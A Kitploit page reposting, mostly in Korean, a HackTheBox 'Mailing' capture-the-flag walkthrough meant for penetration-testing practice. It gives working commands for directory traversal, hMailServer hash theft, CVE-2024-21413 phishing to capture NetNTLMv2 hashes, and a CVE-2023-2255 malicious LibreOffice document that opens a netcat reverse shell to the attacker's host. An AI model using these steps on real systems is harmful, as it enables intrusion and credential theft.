Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
HTB-Mailing-A-Complete-Walkthrough — If you've been grinding through HackTheBox machines, Mailing is one of those boxes that genuinely teaches you something. It's rated Easy, runs on Windows, and chains together a few real-world vulnerabilities — a directory traversal, a credential leak, CVE-2024-21413, and a LibreOffice macro exploit. Let's walk through it step by step. | Kitploit
도구/GitHubGitHub/themursalin/htb-mailing-a-complete-walkthrough
Password CrackingPrivilege EscalationReconnaissanceVulnerability AnalysisExploitationLateral MovementPhishingWeb SecurityCTF

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →

소개

If you've been grinding through HackTheBox machines, Mailing is one of those boxes that genuinely teaches you something. It's rated Easy, runs on Windows, and chains together a few real-world vulnerabilities — a directory traversal, a credential leak, CVE-2024-21413, and a LibreOffice macro exploit. Let's walk through it step by step.

Penetration Testing
Learning & Education
GitHubthemursalin/htb-mailing-a-complete-walkthrough

HTB-Mailing-A-Complete-Walkthrough

저장소 보기
4개월 전아직 검토되지 않음
공유

HTB: Mailing — 완전한 워크스루

Mursalin 작성


HackTheBox 머신을 계속 공부해 왔다면, Mailing은 진정으로 무언가를 가르쳐 주는 박스 중 하나입니다. Easy 등급이며 Windows에서 실행되며, 디렉토리 트래버설, 자격 증명 유출, CVE-2024-21413, LibreOffice 매크로 익스플로잇 등 몇 가지 실제 취약점을 연결합니다. 단계별로 살펴보겠습니다.


정찰

항상 그렇듯이 nmap 스캔으로 시작하여 무엇을 다루고 있는지 확인합니다:

root@kitploit:~
nmap -p- --min-rate 10000 10.10.11.14
nmap -p [ports] -sCV 10.10.11.14

결과는 꽤 많은 열린 포트를 보여줍니다. 주요 내용:

  • 포트 80 — HTTP (mailing.htb로 리디렉션)
  • 포트 25, 465, 587 — SMTP
  • 포트 110, 993 — POP3 / IMAP (hMailServer 기반)
  • 포트 445 — SMB
  • 포트 5985 — WinRM (자격 증명을 얻으면 흥미로움)

OS 핑거프린트는 Windows 10 또는 Server 2019와 일치하며, IIS 버전은 적어도 IIS 10임을 확인합니다. 또한 SMB 메시지 서명이 활성화되어 있지만 필수는 아닙니다 — 나중을 위해 기록해 둡니다.

메일 포트는 여기저기 있지만 자격 증명이 필요할 것입니다. 포트 80의 웹 서버가 명백한 시작점입니다.


웹 열거

/etc/hosts에 mailing.htb를 추가한 후, 사이트는 hMailServer를 기반으로 구축된 메일 호스팅 회사처럼 보입니다. 표면적으로는 특별한 것이 없습니다 — 소개 섹션, 세 명의 이름(Ruy Alonso, Maya Bendito, Gregory Smith)이 있는 팀 섹션, "Download Instructions" 버튼이 있습니다.

다운로드 버튼은 다음을 가리킵니다:

root@kitploit:~
http://mailing.htb/download.php?file=instructions.pdf

file= 매개변수가 즉시 의심스럽습니다. 테스트해 봅시다.

서브도메인을 확인하기 위해 ffuf를 실행했지만 흥미로운 것은 없었습니다. 그런 다음 feroxbuster로 디렉토리 무차별 대입을 시도했지만 download.php 외에는 새로운 것이 없었습니다. 따라서 모든 관심은 해당 엔드포인트에 집중됩니다.


디렉토리 트래버설 → 파일 읽기

file 매개변수의 경로 트래버설 테스트:

root@kitploit:~
curl http://mailing.htb/download.php?file=../../windows/system32/drivers/etc/hosts

작동합니다 — Windows 호스트 파일을 받았습니다. 앱은 단순히 우리가 제공하는 값 앞에 기본 경로를 추가하고 file_get_contents()를 호출합니다. 삭제나 제한이 없습니다. download.php의 소스를 직접 읽으면 이를 확인할 수 있습니다:

root@kitploit:~
$file_path = 'C:/wwwroot/instructions/' . $file;
if (file_exists($file_path)) {
    echo file_get_contents($file_path);
}

이제 Windows 머신에서 임의 파일을 읽을 수 있습니다. 사용해 봅시다.


hMailServer 관리자 해시 유출

hMailServer는 구성을 hMailServer.ini에 저장합니다. 조사 결과 파일은 다음 위치에 있습니다:

root@kitploit:~
C:\Program Files (x86)\hMailServer\Bin\hMailServer.ini

트래버설을 통해 읽기:

root@kitploit:~
curl 'http://mailing.htb/download.php?file=../../Program+Files+(x86)/hMailServer/bin/hMailServer.ini'

출력에는 다음이 포함됩니다:

root@kitploit:~
[Security]
AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7

[Database]
Password=0a9f8ad8bf896b501dde74f08efd7e4c

두 개의 MD5 해시입니다. CrackStation에 넣었습니다:

  • 841bb5acfa6779ae432fd7a4e6600ba7 → homenetworkingadministrator
  • 두 번째 → 찾을 수 없음

따라서 hMailServer의 관리자 비밀번호를 얻었습니다. Windows 사용자 administrator로 SMB에 대해 시도했지만 실패했습니다 — 로컬 계정 비밀번호가 아니라 메일 서비스의 관리자 비밀번호입니다. 그러나 SMTP 서비스 인증에는 작동하며, 이것이 정확히 우리에게 필요한 것입니다.


CVE-2024-21413 — Windows Mail을 통한 Maya 피싱

이제 실제 사용자로 발판을 마련해야 합니다. 사이트는 사용된 메일 클라이언트가 Windows Mail임을 언급합니다(설치 지침 PDF 기반). 알려진 취약점을 확인할 때입니다.

CVE-2024-21413은 Microsoft Outlook 및 Windows Mail의 원격 코드 실행 취약점입니다. 결함은 클라이언트가 이메일 본문에서 file:// 프로토콜 URL을 처리하는 방식에 있습니다. 일반적으로 다른 프로토콜에는 보안 제한이 적용됩니다. 그러나 연구원들은 URL이 !anything으로 끝나면 해당 제한이 자동으로 제거된다는 것을 발견했습니다. 사용자가 이러한 링크가 포함된 이메일을 열거나 미리 보기만 해도 클라이언트가 자동으로 공격자의 SMB 서버에 인증을 시도하여 NetNTLMv2 해시를 전달합니다.

xaitax의 GitHub에 견고한 PoC가 있습니다. 이를 복제하고 다음 매개변수로 실행합니다:

root@kitploit:~
python CVE-2024-21413.py \
  --server mailing.htb \
  --port 587 \
  --username [email protected] \
  --password homenetworkingadministrator \
  --sender [email protected] \
  --recipient [email protected] \
  --url "\\10.10.14.6\share\sploit" \
  --subject "Check this out ASAP!"

이메일이 성공적으로 전송됩니다. 한편, 공격 머신에서 Responder를 실행하여 들어오는 인증을 캡처합니다:

root@kitploit:~
sudo /opt/Responder/Responder.py -I tun0

1분 정도 후에 Maya의 클라이언트가 이메일을 열고 Responder가 그녀의 NetNTLMv2 해시를 캡처합니다. hashcat으로 크랙합니다:

root@kitploit:~
hashcat -m 5600 maya_hash.txt /usr/share/wordlists/rockyou.txt

비밀번호 크랙 성공: m4y4ngs4ri


Maya로 셸 획득

Maya의 자격 증명으로 Evil-WinRM을 사용하여 연결합니다:

root@kitploit:~
evil-winrm -i mailing.htb -u maya -p 'm4y4ngs4ri'

들어왔습니다. 사용자 플래그는 Maya의 데스크탑에 있습니다.


권한 상승 — CVE-2023-2255 (LibreOffice)

이제 루트로 가는 경로를 찾을 차례입니다. 시스템을 살펴보면 Important Documents라는 공유와 LibreOffice가 설치되어 있습니다. 이는 CVE-2023-2255를 강력히 암시합니다.

CVE-2023-2255는 LibreOffice 버전 7.4.7 및 7.5.3 이전에 영향을 미칩니다. 이는 .odt 문서 내의 "플로팅 프레임" — 연결된 외부 파일을 남용합니다. 이 취약점으로 인해 사용자에게 권한을 묻지 않고 해당 프레임이 로드되며, 콘텐츠는 문서 로드 시 실행되는 매크로가 될 수 있습니다.

elweth-sec의 PoC는 셸 명령을 포함하는 악성 .odt를 생성합니다. 문서 구조는 content.xml에 <script> 태그를 포함하여 LibreOffice가 파일을 열자마자 실행됩니다.

리버스 셸 페이로드를 생성합니다:

root@kitploit:~
python /opt/CVE-2023-2255/CVE-2023-2255.py \
  --cmd 'cmd.exe /c C:\ProgramData\nc64.exe -e cmd.exe 10.10.14.6 443' \
  --output exploit.odt

그런 다음 Maya의 자격 증명을 사용하여 .odt 파일과 nc64.exe를 Important Documents SMB 공유에 업로드합니다:

root@kitploit:~
smbclient '//10.10.11.14/important documents' --user maya --password m4y4ngs4ri
smb: \> put exploit.odt
smb: \> put nc64.exe

Maya의 WinRM 셸에서 nc64.exe를 C:\ProgramData에 복사하여 매크로가 찾을 수 있도록 합니다:

root@kitploit:~
copy "\Important Documents\nc64.exe" nc64.exe

1~2분 후, 박스의 어떤 프로세스(아마도 예약된 작업)가 문서를 열고, netcat 리스너에서 셸을 잡습니다:

root@kitploit:~
rlwrap -cAr nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.14
Microsoft Windows [Version 10.0.19045.4355]

C:\Program Files\LibreOffice\program> whoami
mailing\localadmin

localadmin으로 실행 중이며 — 루트 플래그는 데스크탑에 있습니다.


보너스: 의도하지 않은 경로 (패치 전)

이 박스는 2024년 5월 15일에 패치되었습니다 — 출시 후 단 11일 만에 — 원래 download.php가 file_get_contents() 대신 PHP의 include()를 사용했기 때문입니다. 이로 인해 단순한 파일 읽기가 완전한 Local File Inclusion 취약점으로 바뀌었고, 읽을 수 있는 파일에 있는 모든 PHP 코드가 실행될 수 있었습니다.

의도하지 않은 경로는 hMailServer의 SMTP 로그를 오염시킨 후(telnet으로 연결해 HELO 명령에 PHP 주입), LFI를 통해 해당 로그 파일을 포함시켜 defaultapppool로 코드 실행을 달성하는 것이었습니다. 거기서 SeImpersonatePrivilege + GodPotato = SYSTEM. 완전히 다른 루트 경로였습니다.


요약

Mailing의 공격 체인은 다음과 같습니다:

  1. download.php의 디렉토리 트래버설을 통한 파일 읽기
  2. hMailServer.ini에서 자격 증명 유출 → MD5 관리자 해시 크랙
  3. CVE-2024-21413 → Maya 피싱, NetNTLMv2 해시 캡처 및 크랙
  4. 크랙된 자격 증명으로 WinRM 셸 획득 (Maya)
  5. CVE-2023-2255 → 감시되는 공유에 악성 LibreOffice 문서를 떨어뜨려 → localadmin 셸

이 박스는 실제 CVE를 현실감 있게 연결하는 훌륭한 작업을 수행합니다. 익스플로잇 단계가 지나치게 복잡하지는 않지만 각 단계에서 무엇을 하고 있는지 이해해야 합니다. OSCP를 준비 중이라면 다시 방문할 가치가 충분히 있습니다.


읽어 주셔서 감사합니다! 더 많은 HTB writeup 및 CTF 콘텐츠를 보려면 Medium에서 저를 팔로우하세요.

— Mursalin

도구 다운로드